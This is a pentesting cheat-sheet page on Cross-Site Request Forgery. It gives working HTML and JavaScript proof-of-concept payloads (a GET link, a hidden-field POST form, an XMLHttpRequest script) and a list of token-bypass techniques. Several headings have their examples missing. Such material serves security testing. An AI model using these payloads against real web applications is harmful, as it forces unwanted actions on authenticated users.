Cross Site Request Forgery
Cross Site Request Forgery (CSRF)
Introduction
Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated
Where to find
Usually found in forms. Try submit the form and check the HTTP request. If the HTTP request does not have a CSRF token then it is likely to be vulnerable to a CSRF attack.
How to exploit
HTML GET Method
<a href="http://www.example.com/api/setusername?username=uname">Click Me</a>HTML POST Method
<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
<input name="username" type="hidden" value="uname" />
<input type="submit" value="Submit Request" />
</form>JSON GET Method
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");
xhr.send();
</script>JSON POST Method
Multipart request
Bypass CSRF Token
But in some cases, even though there is a CSRF token on the form on the website. CSRF tokens can still be bypassed by doing a few things:
Change single character
Try this to bypass
Sending empty value of token
Try this to bypass
Replace the token with same length
Try this to bypass
Changing POST / GET method
Try this to bypass
Remove the token from request
Try this to bypass
Use another user's valid token
Try to decrypt hash
MTIzNDU2 => 123456 with base64
Sometimes anti-CSRF token is composed by 2 parts, one of them remains static while the others one dynamic
When we register again, the request like this
If you notice "vi802jg9f8akd9j" part of the token remain same, you just need to send with only static part
Last updated